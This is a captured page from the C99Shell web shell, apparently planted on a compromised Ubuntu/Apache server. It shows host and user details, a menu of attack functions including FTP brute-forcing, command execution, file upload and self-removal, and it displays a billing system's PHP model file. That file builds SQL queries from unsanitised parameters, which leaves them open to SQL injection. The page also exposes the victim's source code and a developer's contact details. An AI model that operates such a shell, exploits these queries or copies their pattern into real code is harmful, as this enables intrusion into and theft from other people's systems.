!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/billing/system/application/models/   drwxr-xr-x
Free 13.36 GB of 57.97 GB (23.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     callmodel.php (17.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
class callModel extends Model{

        function callModel()
        {
                parent::Model();
        }


/**
 ***********************************************************************
 * @Start Global Section  **********************************************
 ***********************************************************************
*/

function getRealIpAddr()
{
    if (!empty($_SERVER['HTTP_CLIENT_IP']))   //check ip from share internet
    {
      $ip=$_SERVER['HTTP_CLIENT_IP'];
    }
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))   //to check ip is pass from proxy
    {
      $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    else
    {
      $ip=$_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}



/**
 ***********************************************************************
 * @Start Active Call Section ******************************************
 ***********************************************************************
*/


/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return total number of Sucess Call
 * @copyright 2011
 */
 
     function getTotalnumActiveCall($id_trunk,$calledNumnber,$clientName,$id_rate,$clientType,$id_reseller)
     {
        if($id_trunk=="NULL")
        $trunkStr = "";
        else
        $trunkStr = "AND a.id_trunk = '$id_trunk'";

        if($id_rate=="NULL")
        $rateStr = "";
        else
        $rateStr = "AND a.id_rate = '$id_rate'";

        if($calledNumnber=="NULL")
        $numberStr = "";
        else
        $numberStr = "AND a.dialnumber LIKE '$calledNumnber%'";

        if($clientName=="NULL")
        $clientNameStr = "";
        else
        $clientNameStr = "AND a.caller_id LIKE '$clientName%'";

        if($clientType=="NULL")
        $clientTypeStr = "";
        else
        $clientTypeStr = "AND a.clienttype = '$clientType'";

        if($id_reseller=="NULL")
        $idResellerStr = "";
        else
        $idResellerStr = "AND a.id_reseller = '$id_reseller'";


        $sql = "SELECT
                count(a.id) as totalrows
                                                
                FROM activecall a

                INNER JOIN trunk b
                ON a.id_trunk = b.id_trunk    

                INNER JOIN ratename c
                ON a.id_rate = c.id_rate    
                
                Where a.id != '-1' $trunkStr $rateStr $numberStr $clientNameStr $clientTypeStr $idResellerStr";
           
           //echo $sql;
        $row = 0;
        $query = $this->db->query($sql);
        foreach($query->result() as $resultrow)
        {
            $row = $resultrow->totalrows;
        }
        return $row;

    }



/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return Active Call List
 * @copyright 2011
 */
    function activeCallList($startoffset,$limit,$id_trunk,$calledNumnber,$clientName,$id_rate,$clientType,$id_reseller)
    {

        $new_startoffset = $startoffset - 1;
        if($new_startoffset <0)
        $new_startoffset = 0;
        $startoffset1 = $limit * $new_startoffset;
        $limit_string = "LIMIT $startoffset1,$limit";

        if($id_trunk=="NULL")
        $trunkStr = "";
        else
        $trunkStr = "AND a.id_trunk = '$id_trunk'";

        if($id_rate=="NULL")
        $rateStr = "";
        else
        $rateStr = "AND a.id_rate = '$id_rate'";

        if($calledNumnber=="NULL")
        $numberStr = "";
        else
        $numberStr = "AND a.dialnumber LIKE '$calledNumnber%'";

        if($clientName=="NULL")
        $clientNameStr = "";
        else
        $clientNameStr = "AND a.caller_id LIKE '$clientName%'";

        if($clientType=="NULL")
        $clientTypeStr = "";
        else
        $clientTypeStr = "AND a.clienttype = '$clientType'";

        if($id_reseller=="NULL")
        $idResellerStr = "";
        else
        $idResellerStr = "AND a.id_reseller = '$id_reseller'";


        $sql = "SELECT
                a.id,
                a.client_id,
                a.id_trunk,
                a.id_reseller,
                a.id_rate,
                a.dialnumber,
                a.dialprefix,
                a.billing_prefix,
                a.billing_prefix,
                a.call_start,
          TIMESTAMPDIFF(SECOND,a.call_start,NOW()) AS duration,
                a.caller_id as pinnumber,
                a.status,
                b.description as trunkName,
                c.description as rateName
                                                
                FROM activecall a

                INNER JOIN trunk b
                ON a.id_trunk = b.id_trunk    

                INNER JOIN ratename c
                ON a.id_rate = c.id_rate    
                
                 Where a.id != '-1' $trunkStr $rateStr $numberStr $clientNameStr $clientTypeStr  $idResellerStr order by a.call_start DESC $limit_string";

               //echo $sql;

        $query = $this->db->query($sql);
        if($query->num_rows()>0)
          return $query->result();
        else
         return 0;
    }
        



/**
 ***********************************************************************
 * @Start Sucess Call Section ******************************************
 ***********************************************************************
*/



/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return total number of Sucess Call
 * @copyright 2011
 */
 
     function getTotalnumSucessCall($starttime,$stoptime,$id_trunk,$calledNumnber,$callerID,$clientName,$id_rate,$callType)
     {
        if($id_trunk=="NULL")
        $trunkStr = "";
        else
        $trunkStr = "AND a.id_trunk = '$id_trunk'";

        if($id_rate=="NULL")
        $rateStr = "";
        else
        $rateStr = "AND a.id_tariff = '$id_rate'";

        if($calledNumnber=="NULL")
        $numberStr = "";
        else
        $numberStr = "AND a.callednumber LIKE '$calledNumnber%'";

        if($callerID=="NULL")
        $calerIDStr = "";
        else
        $calerIDStr = "AND a.login LIKE '$callerID%'";

        if($clientName=="NULL")
        $clientNameStr = "";
        else
        $clientNameStr = "AND a.login LIKE '$clientName%'";

        if($callType==0)
        $callTypeStr = "AND a.duration=0";
        else
        $callTypeStr = "AND a.duration>0";
        
        
        $sql = "SELECT
                count(a.id_call) as totalrows
                               
                FROM calls a

                INNER JOIN trunk b
                ON a.id_trunk = b.id_trunk    

                INNER JOIN ratename c
                ON a.id_tariff = c.id_rate    

            
                 Where a.id_call != '-1' AND a.callstart between '$starttime 00:00:00' AND '$stoptime 23:59:59' $trunkStr $rateStr $numberStr $calerIDStr $clientNameStr $callTypeStr";
                 
           //echo $sql;
        $row = 0;
        $query = $this->db->query($sql);
        foreach($query->result() as $resultrow)
        {
            $row = $resultrow->totalrows;
        }
        return $row;

    }
    

/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return Provider List
 * @copyright 2011
 */
    function sucessCallList($startoffset,$limit,$starttime,$stoptime,$id_trunk,$calledNumnber,$callerID,$clientName,$id_rate,$callType)
    {

        $new_startoffset = $startoffset - 1;
        if($new_startoffset <0)
        $new_startoffset = 0;
        $startoffset1 = $limit * $new_startoffset;
        $limit_string = "LIMIT $startoffset1,$limit";

        if($id_trunk=="NULL")
        $trunkStr = "";
        else
        $trunkStr = "AND a.id_trunk = '$id_trunk'";

        if($id_rate=="NULL")
        $rateStr = "";
        else
        $rateStr = "AND a.id_tariff = '$id_rate'";

        if($calledNumnber=="NULL")
        $numberStr = "";
        else
        $numberStr = "AND a.callednumber LIKE '$calledNumnber%'";

        if($callerID=="NULL")
        $calerIDStr = "";
        else
        $calerIDStr = "AND a.login LIKE '$callerID%'";

        if($clientName=="NULL")
        $clientNameStr = "";
        else
        $clientNameStr = "AND a.login LIKE '$clientName%'";

        if($callType==0)
        $callTypeStr = "AND a.duration=0";
        else
        $callTypeStr = "AND a.duration>0";
        


        $sql = "SELECT
                a.id_call as id,
                a.id_client,
                a.callstart as starttime,
                a.callend as stoptime,
                a.duration as real_sessiontime,
                a.id_trunk,
                a.login as src,
                a.login as pinnumber,
                a.callednumber as dnid,
                a.id_reseller,
                a.id_tariff as id_rate,
                a.tariff_prefix as billing_prefix,
                a.costD as client_cost,
                a.costR1 as costr1,
                a.costR2 as costr2,
                a.costR3 as costr3,
                a.costR4 as costr4,
                a.dialing_prefix,
                a.call_status,
                b.description as trunkName,
                c.description as rateName
                
                               
                FROM calls a

                INNER JOIN trunk b
                ON a.id_trunk = b.id_trunk    

                INNER JOIN ratename c
                ON a.id_tariff = c.id_rate    

            
                 Where a.id_call != '-1' AND a.callstart between '$starttime 00:00:00' AND '$stoptime 23:59:59' $trunkStr $rateStr $numberStr $calerIDStr $clientNameStr $callTypeStr order by a.callend DESC $limit_string";

               //echo $sql;

        $query = $this->db->query($sql);
        if($query->num_rows()>0)
          return $query->result();
        else
         return 0;
    }




/**
 ***********************************************************************
 * @Start Call Summary Section *****************************************
 ***********************************************************************
*/


/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return Sucess Call List
 * @copyright 2011
 */
    function sucessCallSummary($startoffset,$limit,$callStart,$callEnd,$calledPrefix,$idTrunk)
    {

        $new_startoffset = $startoffset - 1;
        if($new_startoffset <0)
        $new_startoffset = 0;
        $startoffset1 = $limit * $new_startoffset;
        $limit_string = "LIMIT $startoffset1,$limit";


        if($calledPrefix=="NULL")
        $calledPrefixStr = "";
        else
        $calledPrefixStr = "AND a.callednumber LIKE '$calledPrefix%'";

        
        if($idTrunk=="NULL")
        $idTrunkStr = "";
        else
        $idTrunkStr = "AND a.id_trunk = '$idTrunk'";



        $sql = "SELECT
                substring(a.callend,1,10) as callDay,
                SUM(a.duration) as callDuration,
                COUNT(a.id_call) as totalCall,
                a.tariff_prefix,
                b.description
   
                FROM calls a

                INNER JOIN trunk b
                ON a.id_trunk  = b.id_trunk     
                
                Where a.id_call != '-1' AND a.duration > 0 AND a.callend BETWEEN '$callStart 00:00:00' AND '$callEnd 23:59:59'  $calledPrefixStr   $idTrunkStr  GROUP BY callDay, a.tariff_prefix,a.id_trunk order by a.id_trunk DESC,a.tariff_prefix DESC,callDay DESC";
                                                               

               //echo $sql;

        $query = $this->db->query($sql);
        if($query->num_rows()>0)
          return $query->result();
        else
         return 0;
    }

        




/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return Sucess Call List
 * @copyright 2011
 */
    function wholeSaleCallSummary($callStart,$callEnd,$calledPrefix,$idTrunk,$clientID)
    {


        if($calledPrefix=="NULL")
        $calledPrefixStr = "";
        else
        $calledPrefixStr = "AND callednumber LIKE '$calledPrefix%'";

        
        if($idTrunk=="NULL")
        $idTrunkStr = "";
        else
        $idTrunkStr = "AND id_trunk = '$idTrunk'";

        if($clientID=="NULL")
        $clientIDStr = "";
        else
        $clientIDStr = "AND id_client = '$clientID'";
        
        $sql = "SELECT
                substring(callend,1,10) as callDay,
                SUM(duration) as callDuration,
                COUNT(id_call) as totalCall,
                tariff_prefix,
                id_client,
                id_trunk,
                login
                FROM calls
                WHERE clienttype = 4 AND duration > 0 
                AND callend BETWEEN '$callStart 00:00:00' AND '$callEnd 23:59:59'
                $calledPrefixStr $idTrunkStr $clientIDStr
                GROUP BY callDay, tariff_prefix, id_client, id_trunk 
                ORDER BY callDay DESC";
                                                               

               //echo $sql;

        $query = $this->db->query($sql);
        if($query->num_rows()>0)
          return $query->result();
        else
         return 0;
    }
    



/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return Sucess Call List
 * @copyright 2011
 */
    function wholeSaleProfitCallSummary($callStart,$callEnd,$calledPrefix,$idTrunk,$clientID)
    {


        if($calledPrefix=="NULL")
        $calledPrefixStr = "";
        else
        $calledPrefixStr = "AND callednumber LIKE '$calledPrefix%'";

        
        if($idTrunk=="NULL")
        $idTrunkStr = "";
        else
        $idTrunkStr = "AND id_trunk = '$idTrunk'";

        if($clientID=="NULL")
        $clientIDStr = "";
        else
        $clientIDStr = "AND id_client = '$clientID'";
        
        $sql = "SELECT
                substring(callend,1,10) as callDay,
                SUM(duration) as callDuration,
                COUNT(id_call) as totalCall,
                tariff_prefix,
                id_client,
                id_trunk,
                login,
                call_rate,
                trunk_rate
                FROM calls
                WHERE clienttype = 4 AND duration > 0 
                AND callend BETWEEN '$callStart 00:00:00' AND '$callEnd 23:59:59'
                $calledPrefixStr $idTrunkStr $clientIDStr
                GROUP BY callDay, tariff_prefix, id_client, id_trunk, call_rate, trunk_rate 
                ORDER BY callDay DESC";
                                                               

               //echo $sql;

        $query = $this->db->query($sql);
        if($query->num_rows()>0)
          return $query->result();
        else
         return 0;
    }
    
    



/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return Sucess Call List
 * @copyright 2011
 */
    function retailCallSummary($callStart,$callEnd,$calledPrefix,$idTrunk,$clientName)
    {


        if($calledPrefix=="NULL")
        $calledPrefixStr = "";
        else
        $calledPrefixStr = "AND callednumber LIKE '$calledPrefix%'";

        
        if($idTrunk=="NULL")
        $idTrunkStr = "";
        else
        $idTrunkStr = "AND id_trunk = '$idTrunk'";

        if($clientName=="NULL")
        $clientNameStr = "";
        else
        $clientNameStr = "AND login = '$clientName'";
        
        $sql = "SELECT
                substring(callend,1,10) as callDay,
                SUM(duration) as callDuration,
                COUNT(id_call) as totalCall,
                tariff_prefix,
                id_trunk,
                login
                FROM calls
                WHERE clienttype = 1 AND duration > 0 
                AND callend BETWEEN '$callStart 00:00:00' AND '$callEnd 23:59:59'
                $calledPrefixStr $idTrunkStr $clientNameStr
                GROUP BY callDay, tariff_prefix, id_trunk 
                ORDER BY callDay DESC";
                                                               

               //echo $sql;

        $query = $this->db->query($sql);
        if($query->num_rows()>0)
          return $query->result();
        else
         return 0;
    }
    



/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return Sucess Call List
 * @copyright 2011
 */
    function callingCardCallSummary($callStart,$callEnd,$calledPrefix,$idTrunk,$clientName)
    {


        if($calledPrefix=="NULL")
        $calledPrefixStr = "";
        else
        $calledPrefixStr = "AND callednumber LIKE '$calledPrefix%'";

        
        if($idTrunk=="NULL")
        $idTrunkStr = "";
        else
        $idTrunkStr = "AND id_trunk = '$idTrunk'";

        if($clientName=="NULL")
        $clientNameStr = "";
        else
        $clientNameStr = "AND login = '$clientName'";
        
        $sql = "SELECT
                substring(callend,1,10) as callDay,
                SUM(duration) as callDuration,
                COUNT(id_call) as totalCall,
                tariff_prefix,
                id_trunk,
                login
                FROM calls
                WHERE clienttype = 3 AND duration > 0 
                AND callend BETWEEN '$callStart 00:00:00' AND '$callEnd 23:59:59'
                $calledPrefixStr $idTrunkStr $clientNameStr
                GROUP BY callDay, tariff_prefix, id_trunk 
                ORDER BY callDay DESC";
                                                               

               //echo $sql;

        $query = $this->db->query($sql);
        if($query->num_rows()>0)
          return $query->result();
        else
         return 0;
    }
    
    
        
                
        
    

/**
 ***********************************************************************
 * @Start ASR/ACD Call Section *****************************************
 ***********************************************************************
*/





/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return Provider List
 * @copyright 2011
 */
    function sucessAsrAcdCallList($startoffset,$limit,$starttime,$stoptime,$id_trunk,$prefix)
    {

        $new_startoffset = $startoffset - 1;
        if($new_startoffset <0)
        $new_startoffset = 0;
        $startoffset1 = $limit * $new_startoffset;
        $limit_string = "LIMIT $startoffset1,$limit";

        if($id_trunk=="NULL")
        $trunkStr = "";
        else
        $trunkStr = "AND a.id_trunk = '$id_trunk'";


        if($prefix=="NULL")
        $numberStr = "";
        else
        $numberStr = "AND a.callednumber LIKE '$prefix%'";


        $sql = "SELECT
                substring(a.callend,1,13) as callHours,
                SUM(a.duration) as sucessCallDuration,
                COUNT(a.id_call) as totalCall
                               
                FROM calls a

                INNER JOIN trunk b
                ON a.id_trunk = b.id_trunk    
                
                Where a.id_call != '-1' AND a.callend between '$starttime 00:00:00' AND '$stoptime 23:59:59' $trunkStr $numberStr GROUP BY callHours order by callHours DESC";

               //echo $sql;

        $query = $this->db->query($sql);
        if($query->num_rows()>0)
          return $query->result();
        else
         return 0;
    }
    
    
    











/////////////////////////////////////////////
/**
 * @author: Md. Golam Rabbany
 * @email: mgrnahid@gmail.com
 * @description: This function return total number of Reseller Sucess Call
 * @copyright 2011
 */
 
     function getTotalnumResellerSucessCall($starttime,$stoptime,$calledNumnber,$login,$id_rate,$level)
     {
        
        if($level=='NULL')
        $level = 3;        
        if($level==3)
        {
            
            echo "";
        }
        
        
        
        if($id_trunk=="NULL")
        $trunkStr = "";
        else
        $trunkStr = "AND a.id_trunk = '$id_trunk'";

        if($id_rate=="NULL")
        $rateStr = "";
        else
        $rateStr = "AND a.id_rate = '$id_rate'";

        if($calledNumnber=="NULL")
        $numberStr = "";
        else
        $numberStr = "AND a.dnid LIKE '$calledNumnber%'";

        if($callerID=="NULL")
        $calerIDStr = "";
        else
        $calerIDStr = "AND a.src LIKE '$callerID%'";

        if($clientName=="NULL")
        $clientNameStr = "";
        else
        $clientNameStr = "AND d.username LIKE '$clientName%'";

        $sql = "SELECT
                count(a.id) as totalrows
                               
                FROM cc_call a

                INNER JOIN bb_trunk b
                ON a.id_trunk = b.id_trunk    

                INNER JOIN bb_ratename c
                ON a.id_rate = c.id_rate    

                INNER JOIN cc_card d
                ON a.card_id = d.id    

            
                 Where a.id != '-1' AND a.starttime between '$starttime 00:00:00' AND '$stoptime 23:59:59' $trunkStr $rateStr $numberStr $calerIDStr $clientNameStr";
                 
           //echo $sql;
        $row = 0;
        $query = $this->db->query($sql);
        foreach($query->result() as $resultrow)
        {
            $row = $resultrow->totalrows;
        }
        return $row;

    }
    
        
        
            

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0067 ]--